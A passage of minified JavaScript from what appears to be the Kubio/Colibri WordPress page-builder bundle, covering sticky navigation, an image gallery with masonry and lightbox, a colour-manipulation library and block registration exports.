t=this.$element.closest(".h-navigation_overlap");0===t.length&&(t=this.$element),this.overlapTarget=t.get(0),this.overlapIsActive=!0,e(window).on("resize.overlap orientationchange.overlap",this.computeOverlapPaddingDelayed),window.addResizeListener(this.overlapTarget,this.computeOverlapPaddingDelayed),this.computeOverlapPadding()},stopOverlap(){this.overlapIsActive=!1,this.$sheet&&(document.head.removeChild(this.$sheet),this.$sheet=null),e(window).off(".overlap"),window.removeResizeListener(this.overlapTarget,this.computeOverlapPaddingDelayed)},computeOverlapPadding(){if(!this.overlapIsActive)return;this.$sheet||(this.$sheet=document.createElement("style"),document.head.appendChild(this.$sheet));const e=this.overlapTarget.offsetHeight+"px !important;";this.$sheet.innerHTML=".h-navigation-padding{padding-top:"+e+"}"},startSticky(t){const o=this;this.$element.data("stickData",t),this.$element.fixTo("body",t),this.opts.sticky.prepare&&this.prepareSticky(),this.$element.on("fixto-added.sticky",(function(){o.$element.attr("data-in-sticky-state",!0)})),this.$element.on("fixto-add.sticky",(function(){o.clearResetTimeouts();const e=o.navigationWrapper();e.css("animation-duration",""),e.css("min-height",e[0].offsetHeight)})),this.$element.on("fixto-removed.sticky",(function(){o.$element.removeAttr("data-in-sticky-state"),o.resetParentHeight()})),e(window).on("resize.sticky orientationchange.sticky",(function(){setTimeout(o.resizeCallback.bind(o),50)})),e(window).trigger("resize.sticky")},stopSticky(){const t=this.fixToInstance();t&&(this.$element.off(".sticky"),t.destroy(),e(window).off(".sticky"),this.$element.removeData("fixto-instance"),this.resetParentHeight())},navigationWrapper(){return this.$element.closest("[class*=navigation__outer]")},resetParentHeight(){this.clearResetTimeouts();const e=this.navigationWrapper(),t=1e3*parseFloat(this.$element.css("animation-duration"));e.css("animation-duration","0s"),this.resetTimeoutHeight=setTimeout((()=>{e.css("min-height","")}),1e3),this.resetTimeoutAnimation=setTimeout((()=>{e.css("animation-duration","")}),t+50)},clearResetTimeouts(){clearTimeout(this.resetTimeoutHeight),clearTimeout(this.resetTimeoutAnimation)},stop(){this.stopSticky(),this.stopOverlap()},prepareSticky(){const t=this;this.normal=this.$element.find("[data-nav-normal]"),this.sticky=this.$element.find("[data-nav-sticky]"),this.sticky.find("span[data-placeholder]").each((function(){e(this).parent().attr("data-placeholder",e(this).attr("data-placeholder")),e(this).remove()})),this.sticky.length&&this.sticky.children().length&&(this.$element.on("fixto-added.sticky",(function(){t.moveElementsToSticky()})),this.$element.on("fixto-removed.sticky",(function(){t.moveElementsToNormal()})))},moveElementsToSticky(){const t=this.sticky.find("[data-placeholder]"),o=this;t.each((function(t,n){$this=e(this);const a=$this.attr("data-placeholder"),l=o.normal.find("[data-placeholder-provider="+a+"] .h-column__content >"),r=$this;r&&l.length&&e(r).append(l)})),this.normal.hide(),this.sticky.show()},moveElementsToNormal(){const t=this.sticky.find("[data-placeholder]"),o=this;t.each((function(t,n){$this=e(this);const a=$this.attr("data-placeholder"),l=o.sticky.find("[data-placeholder="+a+"] >"),r=o.normal.find("[data-placeholder-provider="+a+"] .h-column__content");r&&l.length&&e(r).append(l)})),this.normal.show(),this.sticky.hide()},fixToInstance(){const e=this.$element.data();return!(!e||!e.fixtoInstance)&&e.fixtoInstance},resizeCallback(){if(window.innerWidth<1024){const o=(e=this.$element.data()).stickData;if(!o)return;if(!(t=e.fixtoInstance))return!0;window.innerWidth<=767?o.stickyOnMobile||t.stop():o.stickyOnTablet||t.stop()}else{var e,t;if(!(e=this.$element.data()))return;if(!(t=e.fixtoInstance))return!0;t.refresh(),t.start()}}},a.inherits(t),t[o]=a,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},444:function(e,t){!function(e,t){const o="overlap",n=function(){this.namespace=o,this.defaults={data:{}},t.apply(this,arguments),this.start()};n.prototype={start(){e(window).on("resize.overlap orientationchange.overlap",this.computePadding),this.overlapTarget=this.$element[0],new ResizeObserver(this.computePadding).observe(this.overlapTarget)},stop(){e(window).off(".overlap"),this.$sheet&&(document.head.removeChild(this.$sheet),this.$sheet=null)},computePadding(e){if(!e||!e[0]||!e[0].target)return;this.$sheet||(this.$sheet=document.createElement("style"),document.head.appendChild(this.$sheet));const t=e[0].target.offsetHeight+"px !important;";this.$sheet.innerHTML=".h-navigation-padding{padding-top:"+t+"}"},resizeCallback(){this.computePadding()}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},445:function(e,t){!function(e,t){const o="image-gallery",n=function(){this.namespace=o,this.defaults={data:{}},t.apply(this,arguments),this.firstImageLastWidth=this.getFirstImageWidth(),this.resizeObserverCallbackDebounce=e.debounce(this.resizeObserverCallback.bind(this),500),this.resizeObserver=new window.ResizeObserver(this.resizeObserverCallbackDebounce),this.start()};n.prototype={start(){e(this.$element).find(".wp-block-kubio-image-gallery-item__link.lightbox").on("click",(t=>{t.preventDefault();let o=1;const n=e(t.currentTarget).closest(".wp-block-kubio-image-gallery__gallery").find(".wp-block-kubio-image-gallery-item__link.lightbox"),a=[];e(n).each((function(n){const l=e(this).attr("href");l===e(t.currentTarget).attr("href")&&(o=n),a.push({src:l,opts:{}})})),e.fancybox.open(a,{arrows:!0,index:o})})),this.settings.showMasonry&&this.startMasonry()},startMasonry(){if(this.cleanObservers(),0===this.$element.parent().length)return;this.$element.masonry({itemSelector:".image-gallery-grid-item",percentPosition:!0});const t=this.$element;!function(){const o=t.find("img");let n=0,a=0;function l(){if(n++,o.length===n)try{t.data().masonry.layout()}catch(e){console.error(e)}}o.each((function(){this.complete?(a++,l()):(e(this).on("load",l),e(this).on("error",l))})),o.length!==a&&"complete"==document.readyState&&setTimeout((function(){t.data().masonry.layout()}),10),e(window).on("load",(function(){t.data().masonry.layout()}))}();const o=this.getFirstImage();o.length>0&&this.resizeObserver.observe(o.get(0)),this.resizeObserver.observe(this.$element[0])},cleanObservers(){this.resizeObserver&&this.resizeObserver.disconnect()},resizeObserverCallback(){this.firstImageLastWidth!==this.getFirstImageWidth()&&(this.firstImageLastWidth=this.getFirstImageWidth(),this.masonryLayout())},getFirstImage(){return this.$element.find("figure img").first()},getFirstImageWidth(){return this.getFirstImage().width()},masonryLayout(){try{this.$element.data().masonry.layout()}catch(e){}},stopMasonry(){if(this.cleanObservers(),this.$element.data("masonry"))try{this.$element.masonry("destroy")}catch(e){}},restartMasonry(){this.stopMasonry(),this.startMasonry()}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},446:function(e,t){!function(e,t){const o="downarrow",n=function(){this.namespace=o,this.defaults={arrowSelector:"",scrollTargetSelector:""},t.apply(this,arguments),this.start()};n.prototype={start(){if(!(this.opts&&this.opts.arrowSelector&&this.opts.scrollTargetSelector))return;this.$arrow=this.$element.find(this.opts.arrowSelector);const t=e(this.opts.scrollTargetSelector);this.$arrow.smoothScrollAnchor({target:t})},stop(){this.$arrow&&this.$arrow.off("click.smooth-scroll tap.smooth-scroll")},reset(e){},restart(){this.stop(),this.start()},ready(){this.opts.firstTime||(this.opts.firstTime=!0)}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},447:function(e,t){},448:function(e,t){!function(e){for(var t=0,o=["ms","moz","webkit","o"],n=0;n<o.length&&!e.requestAnimationFrame;++n)e.requestAnimationFrame=e[o[n]+"RequestAnimationFrame"],e.cancelAnimationFrame=e[o[n]+"CancelAnimationFrame"]||e[o[n]+"CancelRequestAnimationFrame"];e.requestAnimationFrame||(e.requestAnimationFrame=function(o,n){var a=(new Date).getTime(),l=Math.max(0,16-(a-t)),r=e.setTimeout((function(){o(a+l)}),l);return t=a+l,r}),e.cancelAnimationFrame||(e.cancelAnimationFrame=function(e){clearTimeout(e)})}(window)},47:function(e,t,o){e.exports=function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}var t=/^\s+/,o=/\s+$/;function n(a,l){if(l=l||{},(a=a||"")instanceof n)return a;if(!(this instanceof n))return new n(a,l);var r=function(n){var a={r:0,g:0,b:0},l=1,r=null,i=null,c=null,s=!1,u=!1;return"string"==typeof n&&(n=function(e){e=e.replace(t,"").replace(o,"").toLowerCase();var n,a=!1;if(k[e])e=k[e],a=!0;else if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};return(n=N.rgb.exec(e))?{r:n[1],g:n[2],b:n[3]}:(n=N.rgba.exec(e))?{r:n[1],g:n[2],b:n[3],a:n[4]}:(n=N.hsl.exec(e))?{h:n[1],s:n[2],l:n[3]}:(n=N.hsla.exec(e))?{h:n[1],s:n[2],l:n[3],a:n[4]}:(n=N.hsv.exec(e))?{h:n[1],s:n[2],v:n[3]}:(n=N.hsva.exec(e))?{h:n[1],s:n[2],v:n[3],a:n[4]}:(n=N.hex8.exec(e))?{r:C(n[1]),g:C(n[2]),b:C(n[3]),a:w(n[4]),format:a?"name":"hex8"}:(n=N.hex6.exec(e))?{r:C(n[1]),g:C(n[2]),b:C(n[3]),format:a?"name":"hex"}:(n=N.hex4.exec(e))?{r:C(n[1]+""+n[1]),g:C(n[2]+""+n[2]),b:C(n[3]+""+n[3]),a:w(n[4]+""+n[4]),format:a?"name":"hex8"}:!!(n=N.hex3.exec(e))&&{r:C(n[1]+""+n[1]),g:C(n[2]+""+n[2]),b:C(n[3]+""+n[3]),format:a?"name":"hex"}}(n)),"object"==e(n)&&(x(n.r)&&x(n.g)&&x(n.b)?(p=n.r,b=n.g,m=n.b,a={r:255*v(p,255),g:255*v(b,255),b:255*v(m,255)},s=!0,u="%"===String(n.r).substr(-1)?"prgb":"rgb"):x(n.h)&&x(n.s)&&x(n.v)?(r=T(n.s),i=T(n.v),a=function(e,t,o){e=6*v(e,360),t=v(t,100),o=v(o,100);var n=Math.floor(e),a=e-n,l=o*(1-t),r=o*(1-a*t),i=o*(1-(1-a)*t),c=n%6;return{r:255*[o,r,l,l,i,o][c],g:255*[i,o,o,r,l,l][c],b:255*[l,l,i,o,o,r][c]}}(n.h,r,i),s=!0,u="hsv"):x(n.h)&&x(n.s)&&x(n.l)&&(r=T(n.s),c=T(n.l),a=function(e,t,o){var n,a,l;function r(e,t,o){return o<0&&(o+=1),o>1&&(o-=1),o<1/6?e+6*(t-e)*o:o<.5?t:o<2/3?e+(t-e)*(2/3-o)*6:e}if(e=v(e,360),t=v(t,100),o=v(o,100),0===t)n=a=l=o;else{var i=o<.5?o*(1+t):o+t-o*t,c=2*o-i;n=r(c,i,e+1/3),a=r(c,i,e),l=r(c,i,e-1/3)}return{r:255*n,g:255*a,b:255*l}}(n.h,r,c),s=!0,u="hsl"),n.hasOwnProperty("a")&&(l=n.a)),l=f(l),{ok:s,format:n.format||u,r:Math.min(255,Math.max(a.r,0)),g:Math.min(255,Math.max(a.g,0)),b:Math.min(255,Math.max(a.b,0)),a:l};var p,b,m}(a);this._originalInput=a,this._r=r.r,this._g=r.g,this._b=r.b,this._a=r.a,this._roundA=Math.round(100*this._a)/100,this._format=l.format||r.format,this._gradientType=l.gradientType,this._r<1&&(this._r=Math.round(this._r)),this._g<1&&(this._g=Math.round(this._g)),this._b<1&&(this._b=Math.round(this._b)),this._ok=r.ok}function a(e,t,o){e=v(e,255),t=v(t,255),o=v(o,255);var n,a,l=Math.max(e,t,o),r=Math.min(e,t,o),i=(l+r)/2;if(l==r)n=a=0;else{var c=l-r;switch(a=i>.5?c/(2-l-r):c/(l+r),l){case e:n=(t-o)/c+(t<o?6:0);break;case t:n=(o-e)/c+2;break;case o:n=(e-t)/c+4}n/=6}return{h:n,s:a,l:i}}function l(e,t,o){e=v(e,255),t=v(t,255),o=v(o,255);var n,a,l=Math.max(e,t,o),r=Math.min(e,t,o),i=l,c=l-r;if(a=0===l?0:c/l,l==r)n=0;else{switch(l){case e:n=(t-o)/c+(t<o?6:0);break;case t:n=(o-e)/c+2;break;case o:n=(e-t)/c+4}n/=6}return{h:n,s:a,v:i}}function r(e,t,o,n){var a=[I(Math.round(e).toString(16)),I(Math.round(t).toString(16)),I(Math.round(o).toString(16))];return n&&a[0].charAt(0)==a[0].charAt(1)&&a[1].charAt(0)==a[1].charAt(1)&&a[2].charAt(0)==a[2].charAt(1)?a[0].charAt(0)+a[1].charAt(0)+a[2].charAt(0):a.join("")}function i(e,t,o,n){return[I(S(n)),I(Math.round(e).toString(16)),I(Math.round(t).toString(16)),I(Math.round(o).toString(16))].join("")}function c(e,t){t=0===t?0:t||10;var o=n(e).toHsl();return o.s-=t/100,o.s=_(o.s),n(o)}function s(e,t){t=0===t?0:t||10;var o=n(e).toHsl();return o.s+=t/100,o.s=_(o.s),n(o)}function u(e){return n(e).desaturate(100)}function p(e,t){t=0===t?0:t||10;var o=n(e).toHsl();return o.l+=t/100,o.l=_(o.l),n(o)}function b(e,t){t=0===t?0:t||10;var o=n(e).toRgb();return o.r=Math.max(0,Math.min(255,o.r-Math.round(-t/100*255))),o.g=Math.max(0,Math.min(255,o.g-Math.round(-t/100*255))),o.b=Math.max(0,Math.min(255,o.b-Math.round(-t/100*255))),n(o)}function m(e,t){t=0===t?0:t||10;var o=n(e).toHsl();return o.l-=t/100,o.l=_(o.l),n(o)}function d(e,t){var o=n(e).toHsl(),a=(o.h+t)%360;return o.h=a<0?360+a:a,n(o)}function h(e){var t=n(e).toHsl();return t.h=(t.h+180)%360,n(t)}function O(e,t){if(isNaN(t)||t<=0)throw new Error("Argument to polyad must be a positive number");for(var o=n(e).toHsl(),a=[n(e)],l=360/t,r=1;r<t;r++)a.push(n({h:(o.h+r*l)%360,s:o.s,l:o.l}));return a}function g(e){var t=n(e).toHsl(),o=t.h;return[n(e),n({h:(o+72)%360,s:t.s,l:t.l}),n({h:(o+216)%360,s:t.s,l:t.l})]}function y(e,t,o){t=t||6,o=o||30;var a=n(e).toHsl(),l=360/o,r=[n(e)];for(a.h=(a.h-(l*t>>1)+720)%360;--t;)a.h=(a.h+l)%360,r.push(n(a));return r}function j(e,t){t=t||6;for(var o=n(e).toHsv(),a=o.h,l=o.s,r=o.v,i=[],c=1/t;t--;)i.push(n({h:a,s:l,v:r})),r=(r+c)%1;return i}n.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var e=this.toRgb();return(299*e.r+587*e.g+114*e.b)/1e3},getLuminance:function(){var e,t,o,n=this.toRgb();return e=n.r/255,t=n.g/255,o=n.b/255,.2126*(e<=.03928?e/12.92:Math.pow((e+.055)/1.055,2.4))+.7152*(t<=.03928?t/12.92:Math.pow((t+.055)/1.055,2.4))+.0722*(o<=.03928?o/12.92:Math.pow((o+.055)/1.055,2.4))},setAlpha:function(e){return this._a=f(e),this._roundA=Math.round(100*this._a)/100,this},toHsv:function(){var e=l(this._r,this._g,this._b);return{h:360*e.h,s:e.s,v:e.v,a:this._a}},toHsvString:function(){var e=l(this._r,this._g,this._b),t=Math.round(360*e.h),o=Math.round(100*e.s),n=Math.round(100*e.v);return 1==this._a?"hsv("+t+", "+o+"%, "+n+"%)":"hsva("+t+", "+o+"%, "+n+"%, "+this._roundA+")"},toHsl:function(){var e=a(this._r,this._g,this._b);return{h:360*e.h,s:e.s,l:e.l,a:this._a}},toHslString:function(){var e=a(this._r,this._g,this._b),t=Math.round(360*e.h),o=Math.round(100*e.s),n=Math.round(100*e.l);return 1==this._a?"hsl("+t+", "+o+"%, "+n+"%)":"hsla("+t+", "+o+"%, "+n+"%, "+this._roundA+")"},toHex:function(e){return r(this._r,this._g,this._b,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(e){return function(e,t,o,n,a){var l=[I(Math.round(e).toString(16)),I(Math.round(t).toString(16)),I(Math.round(o).toString(16)),I(S(n))];return a&&l[0].charAt(0)==l[0].charAt(1)&&l[1].charAt(0)==l[1].charAt(1)&&l[2].charAt(0)==l[2].charAt(1)&&l[3].charAt(0)==l[3].charAt(1)?l[0].charAt(0)+l[1].charAt(0)+l[2].charAt(0)+l[3].charAt(0):l.join("")}(this._r,this._g,this._b,this._a,e)},toHex8String:function(e){return"#"+this.toHex8(e)},toRgb:function(){return{r:Math.round(this._r),g:Math.round(this._g),b:Math.round(this._b),a:this._a}},toRgbString:function(){return 1==this._a?"rgb("+Math.round(this._r)+", "+Math.round(this._g)+", "+Math.round(this._b)+")":"rgba("+Math.round(this._r)+", "+Math.round(this._g)+", "+Math.round(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:Math.round(100*v(this._r,255))+"%",g:Math.round(100*v(this._g,255))+"%",b:Math.round(100*v(this._b,255))+"%",a:this._a}},toPercentageRgbString:function(){return 1==this._a?"rgb("+Math.round(100*v(this._r,255))+"%, "+Math.round(100*v(this._g,255))+"%, "+Math.round(100*v(this._b,255))+"%)":"rgba("+Math.round(100*v(this._r,255))+"%, "+Math.round(100*v(this._g,255))+"%, "+Math.round(100*v(this._b,255))+"%, "+this._roundA+")"},toName:function(){return 0===this._a?"transparent":!(this._a<1)&&(E[r(this._r,this._g,this._b,!0)]||!1)},toFilter:function(e){var t="#"+i(this._r,this._g,this._b,this._a),o=t,a=this._gradientType?"GradientType = 1, ":"";if(e){var l=n(e);o="#"+i(l._r,l._g,l._b,l._a)}return"progid:DXImageTransform.Microsoft.gradient("+a+"startColorstr="+t+",endColorstr="+o+")"},toString:function(e){var t=!!e;e=e||this._format;var o=!1,n=this._a<1&&this._a>=0;return t||!n||"hex"!==e&&"hex6"!==e&&"hex3"!==e&&"hex4"!==e&&"hex8"!==e&&"name"!==e?("rgb"===e&&(o=this.toRgbString()),"prgb"===e&&(o=this.toPercentageRgbString()),"hex"!==e&&"hex6"!==e||(o=this.toHexString()),"hex3"===e&&(o=this.toHexString(!0)),"hex4"===e&&(o=this.toHex8String(!0)),"hex8"===e&&(o=this.toHex8String()),"name"===e&&(o=this.toName()),"hsl"===e&&(o=this.toHslString()),"hsv"===e&&(o=this.toHsvString()),o||this.toHexString()):"name"===e&&0===this._a?this.toName():this.toRgbString()},clone:function(){return n(this.toString())},_applyModification:function(e,t){var o=e.apply(null,[this].concat([].slice.call(t)));return this._r=o._r,this._g=o._g,this._b=o._b,this.setAlpha(o._a),this},lighten:function(){return this._applyModification(p,arguments)},brighten:function(){return this._applyModification(b,arguments)},darken:function(){return this._applyModification(m,arguments)},desaturate:function(){return this._applyModification(c,arguments)},saturate:function(){return this._applyModification(s,arguments)},greyscale:function(){return this._applyModification(u,arguments)},spin:function(){return this._applyModification(d,arguments)},_applyCombination:function(e,t){return e.apply(null,[this].concat([].slice.call(t)))},analogous:function(){return this._applyCombination(y,arguments)},complement:function(){return this._applyCombination(h,arguments)},monochromatic:function(){return this._applyCombination(j,arguments)},splitcomplement:function(){return this._applyCombination(g,arguments)},triad:function(){return this._applyCombination(O,[3])},tetrad:function(){return this._applyCombination(O,[4])}},n.fromRatio=function(t,o){if("object"==e(t)){var a={};for(var l in t)t.hasOwnProperty(l)&&(a[l]="a"===l?t[l]:T(t[l]));t=a}return n(t,o)},n.equals=function(e,t){return!(!e||!t)&&n(e).toRgbString()==n(t).toRgbString()},n.random=function(){return n.fromRatio({r:Math.random(),g:Math.random(),b:Math.random()})},n.mix=function(e,t,o){o=0===o?0:o||50;var a=n(e).toRgb(),l=n(t).toRgb(),r=o/100;return n({r:(l.r-a.r)*r+a.r,g:(l.g-a.g)*r+a.g,b:(l.b-a.b)*r+a.b,a:(l.a-a.a)*r+a.a})},n.readability=function(e,t){var o=n(e),a=n(t);return(Math.max(o.getLuminance(),a.getLuminance())+.05)/(Math.min(o.getLuminance(),a.getLuminance())+.05)},n.isReadable=function(e,t,o){var a,l,r,i,c,s=n.readability(e,t);switch(l=!1,(r=o,"AA"!==(i=((r=r||{level:"AA",size:"small"}).level||"AA").toUpperCase())&&"AAA"!==i&&(i="AA"),"small"!==(c=(r.size||"small").toLowerCase())&&"large"!==c&&(c="small"),a={level:i,size:c}).level+a.size){case"AAsmall":case"AAAlarge":l=s>=4.5;break;case"AAlarge":l=s>=3;break;case"AAAsmall":l=s>=7}return l},n.mostReadable=function(e,t,o){var a,l,r,i,c=null,s=0;l=(o=o||{}).includeFallbackColors,r=o.level,i=o.size;for(var u=0;u<t.length;u++)(a=n.readability(e,t[u]))>s&&(s=a,c=n(t[u]));return n.isReadable(e,c,{level:r,size:i})||!l?c:(o.includeFallbackColors=!1,n.mostReadable(e,["#fff","#000"],o))};var k=n.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",rebeccapurple:"663399",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},E=n.hexNames=function(e){var t={};for(var o in e)e.hasOwnProperty(o)&&(t[e[o]]=o);return t}(k);function f(e){return e=parseFloat(e),(isNaN(e)||e<0||e>1)&&(e=1),e}function v(e,t){(function(e){return"string"==typeof e&&-1!=e.indexOf(".")&&1===parseFloat(e)})(e)&&(e="100%");var o=function(e){return"string"==typeof e&&-1!=e.indexOf("%")}(e);return e=Math.min(t,Math.max(0,parseFloat(e))),o&&(e=parseInt(e*t,10)/100),Math.abs(e-t)<1e-6?1:e%t/parseFloat(t)}function _(e){return Math.min(1,Math.max(0,e))}function C(e){return parseInt(e,16)}function I(e){return 1==e.length?"0"+e:""+e}function T(e){return e<=1&&(e=100*e+"%"),e}function S(e){return Math.round(255*parseFloat(e)).toString(16)}function w(e){return C(e)/255}var P,A,B,N=(A="[\\s|\\(]+("+(P="(?:[-\\+]?\\d*\\.\\d+%?)|(?:[-\\+]?\\d+%?)")+")[,|\\s]+("+P+")[,|\\s]+("+P+")\\s*\\)?",B="[\\s|\\(]+("+P+")[,|\\s]+("+P+")[,|\\s]+("+P+")[,|\\s]+("+P+")\\s*\\)?",{CSS_UNIT:new RegExp(P),rgb:new RegExp("rgb"+A),rgba:new RegExp("rgba"+B),hsl:new RegExp("hsl"+A),hsla:new RegExp("hsla"+B),hsv:new RegExp("hsv"+A),hsva:new RegExp("hsva"+B),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex4:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/});function x(e){return!!N.CSS_UNIT.exec(e)}return n}()},49:function(e,t){!function(){e.exports=this.kubio.coreHooks}()},5:function(e,t){!function(){e.exports=this.wp.primitives}()},51:function(e,t,o){"use strict";var n,a,l,r=o(78),i="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-";function c(){l=!1}function s(e){if(e){if(e!==n){if(e.length!==i.length)throw new Error("Custom alphabet for shortid must be "+i.length+" unique characters. You submitted "+e.length+" characters: "+e);var t=e.split("").filter((function(e,t,o){return t!==o.lastIndexOf(e)}));if(t.length)throw new Error("Custom alphabet for shortid must be "+i.length+" unique characters. These characters were not unique: "+t.join(", "));n=e,c()}}else n!==i&&(n=i,c())}function u(){return l||(l=function(){n||s(i);for(var e,t=n.split(""),o=[],a=r.nextValue();t.length>0;)a=r.nextValue(),e=Math.floor(a*t.length),o.push(t.splice(e,1)[0]);return o.join("")}())}e.exports={get:function(){return n||i},characters:function(e){return s(e),n},seed:function(e){r.seed(e),a!==e&&(c(),a=e)},lookup:function(e){return u()[e]},shuffled:u}},54:function(e,t){!function(){e.exports=this.wp.apiFetch}()},56:function(e,t){!function(){e.exports=this.kubio.menuData}()},58:function(e,t){!function(){e.exports=this.wp.editor}()},6:function(e,t){!function(){e.exports=this.kubio.controls}()},638:function(e,t,o){"use strict";o.r(t),o.d(t,"replaceBlock",(function(){return yl})),o.d(t,"registerBlockWithStyle",(function(){return Ol})),o.d(t,"getNamesOfBlocks",(function(){return hA})),o.d(t,"getBlocks",(function(){return gA})),o.d(t,"getBlocksMap",(function(){return OA})),o.d(t,"getBlocksByName",(function(){return jA})),o.d(t,"useQueryLayout",(function(){return Qa})),o.d(t,"KubioBlockAppender",(function(){return kA})),o.d(t,"blockParts",(function(){return mA})),o.d(t,"getProBlocks",(function(){return yA}));var n={};o.r(n),o.d(n,"metadata",(function(){return an})),o.d(n,"name",(function(){return ln})),o.d(n,"settings",(function(){return rn}));var a={};o.r(a),o.d(a,"metadata",(function(){return ml})),o.d(a,"settings",(function(){return hl})),o.d(a,"template",(function(){return pl})),o.d(a,"useQueryLayout",(function(){return Qa}));var l={};o.r(l),o.d(l,"metadata",(function(){return Dl})),o.d(l,"settings",(function(){return Ll})),o.d(l,"template",(function(){return ea}));var r={};o.r(r),o.d(r,"metadata",(function(){return mr})),o.d(r,"settings",(function(){return dr}));var i={};o.r(i),o.d(i,"metadata",(function(){return xr})),o.d(i,"settings",(function(){return Rr}));var c={};o.r(c),o.d(c,"metadata",(function(){return _i})),o.d(c,"settings",(function(){return Ci}));var s={};o.r(s),o.d(s,"metadata",(function(){return sc})),o.d(s,"settings",(function(){return pc}));var u={};o.r(u),o.d(u,"metadata",(function(){return Gs})),o.d(u,"settings",(function(){return Fs})),o.d(u,"template",(function(){return Uc}));var p={};o.r(p),o.d(p,"metadata",(function(){return tp})),o.d(p,"settings",(function(){return op}));var b={};o.r(b),o.d(b,"metadata",(function(){return yp})),o.d(b,"settings",(function(){return jp}));var m={};o.r(m),o.d(m,"metadata",(function(){return Kp})),o.d(m,"settings",(function(){return qp}));var d={};o.r(d),o.d(d,"metadata",(function(){return Om})),o.d(d,"settings",(function(){return gm})),o.d(d,"template",(function(){return eb}));var h={};o.r(h),o.d(h,"metadata",(function(){return Cm})),o.d(h,"settings",(function(){return Im}));var O={};o.r(O),o.d(O,"metadata",(function(){return Rm})),o.d(O,"settings",(function(){return Dm}));var g={};o.r(g),o.d(g,"metadata",(function(){return Hm})),o.d(g,"settings",(function(){return Gm}));var y={};o.r(y),o.d(y,"metadata",(function(){return Zm})),o.d(y,"settings",(function(){return Jm}));var j={};o.r(j),o.d(j,"metadata",(function(){return sd})),o.d(j,"settings",(function(){return ud}));var k={};o.r(k),o.d(k,"metadata",(function(){return hd})),o.d(k,"settings",(function(){return Od}));var 